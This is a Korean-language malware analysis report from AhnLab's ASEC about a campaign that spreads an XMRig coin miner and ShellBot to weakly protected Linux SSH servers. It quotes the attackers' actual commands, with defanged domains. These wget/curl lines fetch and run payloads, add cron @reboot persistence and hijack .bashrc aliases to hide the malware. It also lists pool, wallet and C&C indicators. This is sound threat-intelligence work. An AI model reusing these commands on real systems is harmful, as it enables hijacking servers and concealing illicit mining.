전파 악성코드를 악용한 리눅스 SSH 서버 대상 코인 마이너 유포 사례
AhnLab SEcurity intelligence Center(ASEC)은 다수의 허니팟을 활용해 부적절하게 관리되고 있는 리눅스 서버를 대상으로 한 공격을 모니터링하고 있다. 최근에는 전파 기능을 수행하는 악성코드를 통해 XMRig 코인 마이너를 설치하는 사례를 확인하였다.
공격 사례에서는 ShellBot 악성코드뿐만 아니라 MIG LogCleaner, XHide 같은 도구들이 사용되었다. 공격자는 Go 언어로 제작된 다운로더 및 전파 악성코드를 제작해 사용하였으며 이외에도 Shc(Shell Script Compiler)로 스크립트를 빌드해 사용하기도 하였다. 동일한 공격자는 적어도 2023년부터 공격을 진행 중인 것으로 보인다.
1. 공격 사례
다수의 공격지에서 SSH 서비스 허니팟을 대상으로 스캐닝 및 로그인 시도가 발생하였다. 로그인 성공 이후 실행되는 명령이 뒤에서 다룰 전파 악성코드와 유사한 것을 보면 해당 공격 또한 전파 악성코드에 의한 것으로 추정된다. 로그인 성공 이후 다음과 같은 명령이 실행되었으며 이를 통해 다운로더 “run”이 설치된다.
# (uname -a|cut -d’ ‘ -f1,2,3,7,11|tr ‘; ‘ ‘ ‘ && cat /proc/cpuinfo|grep name|cut -f2 -d:|uniq -c ; cd /var/tmp ; wget download.xrpl[.]city/run && chmod +x run && ./run) | xargs
2. 악성코드 분석
2.1. 공격 사례
2.1.1. 다운로더 (run)
다운로더 악성코드인 “run”은 Go 언어로 제작되었으며 실행 시 현재 사용자의 비밀번호를 변경하고 결과를 출력한다.

Figure 1. 변경된 비밀번호
이후 “pack.jpg”를 다운로드해 압축을 해제하고 내부의 악성코드들을 실행한다. “mysql”은 XMRig 코인 마이너이며 “meta”는 전파 악성코드로서 스캐닝 범위가 저장된 파일 “ranges”와 자격 증명 정보가 저장된 파일 “pass”를 인자로 실행된다.
# wget download.xrpl[.]city/test/pack.jpg
# tar xf pack.jpg
# rm pack.jpg
# cd pack
# chmod 0755 mysql
# ./mysql
# rm mysql
# chmod 0755 meta
# ./meta scan ranges 22 -p pass
# rm -rf meta ranges pass found.lst
2.1.2. 전파 악성코드 (meta)
“meta” 또한 Go 언어로 제작되었으며 SSH 포트를 스캐닝하고 성공한 이후 악성코드 설치 명령을 실행하는 기능을 수행하는 전파 담당 악성코드이다. 다음과 같이 실행되어 “ranges”에서 지정한 주소 대역에 대해 “pass”에 포함된 자격 증명 정보로 스캐닝을 수행한다.
# ./meta scan ranges 22 -p pass

Figure 2. 스캐닝에 사용된 데이터 파일들
스캐닝 및 인증에 성공할 경우 다음과 같은 명령을 실행해 공격 대상 서버에 XMRig 코인 마이너인 “mysql”을 설치한다. 또한 HTTP POST 요청으로 공격 결과를 ‘hxxps://youpost[.]in/”에 전송한다.
# ( uname -a|cut -d’ ‘ -f1,2,3,7,11|tr ‘\n’ ‘ ‘ && cat /proc/cpuinfo|grep name|cut -f2 -d:|uniq -c ; cd /tmp ; mkdir .ICE-Unix21 ; cd .ICE-Unix21 ; wget download.xrpl[.]city/mysql > /dev/null && chmod +x mysql && ./mysql) | xargs
2.1.3. XMRig (mysql)
A. 설치 단계
“mysql”은 공격자가 제작한 XMRig 코인 마이너로서 여러 기능들이 추가되어 있다. 먼저 실행 시 root 권한이고 현재 실행 경로가 “/etc/ufw/.dev/oracle-monitor”가 아닐 경우 설치 과정을 진행한다. “/etc/ufw/.dev/oracle-monitor” , “/dev/shm/.sys_cache_backup” 경로에도 자기 자신을 복사하며 이후 Systemd 서비스를 생성하는데 “/etc/systemd/system/oracle-service.service”에서 서비스 파일을 확인할 수 있다.

Figure 3. 등록된 서비스
B. Watchdog 모드
“/etc/ufw/.dev/oracle-monitor” 경로에서 실행된 악성코드는 Watchdog로 동작하는데 주기적으로 “/dev/shm/.sys_cache_backup”가 존재하는지 검사하고 없으면 다운로드한다. 이는 “/dev/shm/” 경로에 존재하는 파일은 재부팅 이후 삭제되기 때문인 것으로 추정된다.
# curl -k -s -L -o /dev/shm/.sys_cache_backup hxxp://download.xrpl[.]city/mysql || wget -q -O /dev/shm/.sys_cache_backup hxxp://download.xrpl[.]city/mysql
이후 “/dev/shm/.sys_cache_backup” 파일을 “/var/tmp/.sys_cache_<랜덤>” 경로로 복사하고 cron 작업에 등록한다.
# cp -f /dev/shm/.sys_cache_backup /var/tmp/.sys_cache_<랜덤> && chmod +x /var/tmp/.sys_cache_<랜덤>
(crontab -l 2>/dev/null | grep -v ‘.sys_cache_’; echo ‘@reboot /var/tmp/.sys_cache_<랜덤>’) | crontab –
C. CoinMiner 모드
위의 과정 끝나면 자신을 자신을 fork()하여 코인 마이닝을 수행하도록 한다. 실행 시 인자는 다음과 같은 포맷이 지정되며 마이닝 풀 주소는 5개가 사용된다.
- XMRig 실행 인자 : -u smart –tls –donate-level=0 –null-hash-report –no-color -o sad[.]lat:80 -o 192.3.9[.]34:80 -o 172.245.81[.]188:80 -o 146.19.213[.]82:80 -o 23.94.137[.]96:80
| 마이닝 풀 주소 |
|---|
| sad[.]lat:80 |
| 192.3.9[.]34:80 |
| 172.245.81[.]188:80 |
| 146.19.213[.]82:80 |
| 23.94.137[.]96:80 |
Table 1. 마이닝 풀 주소 목록
참고로 마이닝을 담당하는 새롭게 생성된 프로세스와 Watchdog를 담당하는 프로세스가 중복 실행을 방지하기 위해 사용하는 Lock 파일은 다음과 같다.
- Agent Lock File : /dev/shm/.agt.lck
- Miner Lock File : /dev/shm/.mnr.lck
이외에도 프로세스 이름을 위장하는데 다음과 같은 정상 프로세스 목록이 사용된다.
- “/usr/sbin/irqbalance”
- “/usr/lib/systemd/systemd-logind”
- “/usr/bin/dbus-daemon –system”
- “/usr/sbin/acpid”
- “/usr/lib/systemd/systemd-udevd”
- “kworker/u16:1-events_unbound”
- “/lib/systemd/systemd-journald”
- “/usr/sbin/cron -f”
- “/usr/lib/policykit-1/polkitd”
2.2. ShellBot (.b0t)
악성코드 유포 서버에서는 “.b0t”이라는 이름으로 ShellBot이 유포되기도 하였다. ShellBot은 PerlBot으로도 불리며 Perl로 개발된 DDoS Bot 악성코드이다. IRC 프로토콜을 이용해 C&C 서버와 통신하며 DDoS 공격뿐만 아니라 감염 시스템을 제어할 수 있는 다양한 명령들을 지원한다.
| 악성코드 | C&C 서버 주소 | 채널 주소 | 관리자 ID |
|---|---|---|---|
| 1 | irc[.]lat:80 | #X | X |
| 2 | irc.undernet[.]org:6667 | #t3st | Egeu |
Table 2. ShellBot 설정 정보

Figure 4. 공격에 사용된 ShellBot의 명령 루틴
참고로 ShellBot에서 로그 조작 명령을 지원하지만 동일한 주소에서 MIG Logcleaner를 함께 유포하기도 하였다.

Figure 5. MIG Logcleaner 사용법
2.3. 코인 마이너
다운로드 주소에서는 이외에도 “auto.jpg”라는 이름의 압축 파일도 확인된다. 과거 공개된 자료를 보면 동일한 공격자는 적어도 2023년부터 코인 마이너를 유포하고 있는 것으로 보인다. [1] 압축 파일 내부에는 Shc로 제작한 쉘 스크립트들과 명령 은폐에 사용되는 스크립트들 그리고 XHide 및 XMRig 코인 마이너가 존재한다.

Figure 6. auto.jpg 내의 파일들
2.3.1. 명령 은폐
“pot”은 Shc로 제작된 쉘 스크립트로서 실행 시 “/usr/share/terminfo/c/.x/.l/” 경로에 은폐 기능을 담당하는 파일들을 이동하고 “/usr/share/terminfo/c/.x/.x/” 경로에 XHide 및 XMRig 등의 파일들을 이동한다. 이후 “/.l” 경로 내의 “script”를 실행하는데 “script”는 사용자들의 “.bashrc” 파일들을 변조하여 alias에 등록하는 기능을 수행한다. 예를 들어 “uptime” 명령을 실행하면 alias에 의해 심볼릭 링크 “myu”를 실행하게 되는데 “mywu”는 실질적으로 “uptime”이라는 이름의 스크립트를 실행한다.
| 위장 대상 명령 | 심볼릭 링크 이름 | 명령 스크립트 이름 |
|---|---|---|
| w | myw | load |
| crontab | myc | cron |
| top | pot | top |
| uptime | myu | uptime |
| ls | N/A | (alias) |
| lsconfig | N/A | (alias) |
Table 3. 위장 명령 및 파일들

Figure 7. symlink 및 alias 내용
위장 “crontab” 명령은 현재 기준 crontab 결과를 저장한 후 지속적으로 과거 결과만 보여주는 기능을 수행하며 위장 “w”, “uptime”, “top” 명령은 “load average” 값을 고정 값으로 설정하여 관리자가 시스템 부하 확인을 어렵게 한다. “ls”, “lsconfig” 명령은 “ls” 명령 실행 결과 중 악성코들을 보이지 않도록 조작한다.
2.3.3. XHide (h32, h64)
“pot”은 “script” 외에도 Shc로 제작된 “myu”를 실행한다. “myu”는 “myw”를 실행하는 명령을 cron 작업에 등록하며 “myw”는 “i”의 내용 “45.88.91[.]151″와의 연결 여부를 확인하고 아닐 경우 스크립트 “run”을 실행한다. “run”은 XHide 도구인 “h32”, “h64″를 이용해 XMRig인 “Discord”를 실행시키는 기능을 담당한다.
XHide는 인자로 위장 프로세스 이름과 함께 실행할 프로세스를 전달받는다. 이후 대상 프로세스를 실행할 때 argv[0]을 전달받았던 인자로 설정하는 방식을 사용하는데 이에 따라 XMRig는 “[kworker/u257:2]”라는 이름으로 동작하게 된다.

Figure 8. XHide와 실행 스크립트
2.3.4. XMRig (Discord)
“Discord”는 공격자가 제작한 형태로서 인자로 마이닝 풀 주소를 전달받을 수 있지만 없을 경우 내부에 존재하는 설정 정보를 사용한다.
- 마이닝 풀 #1 : sad[.]lat:80
- 마이닝 풀 #2 : time.justnames[.]in:80
- 지갑 #2 : “46Yoqzc2n4fQ78s1hbwUePRCSGiQgjUNMAEsWV2mV95tDWRqevJZ38K6GWWzLKc526CvqeVqaazsDYi8gjVSfouRDYrdZnC”
- 비밀번호 #2 : “x”
3. 결론
최근 부적절하게 관리되고 있는 리눅스 서버를 대상으로 코인 마이너와 전파 악성코드, ShellBot 등 다양한 악성코드들을 설치하는 사례가 확인되었다. 코인 마이너가 설치될 경우 시스템의 자원을 이용해 공격자의 모네로 코인을 채굴하게 되며, 공격자는 함께 설치한 ShellBot을 이용해 또 다른 악성코드를 설치하거나 시스템 내의 정보를 탈취하는 등 다양한 악성 행위를 수행할 수 있다.
관리자들은 계정의 비밀번호를 추측하기 어려운 형태로 사용하고 주기적으로 변경하여 무차별 대입 공격과 사전 공격으로부터 리눅스 서버를 보호해야 하며, 최신 버전으로 패치하여 취약점 공격을 방지해야 한다. 또한 외부에 공개되어 접근 가능한 서버에 대해 방화벽과 같은 보안 제품을 이용해 공격자로부터의 접근을 통제해야 한다. 마지막으로 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다.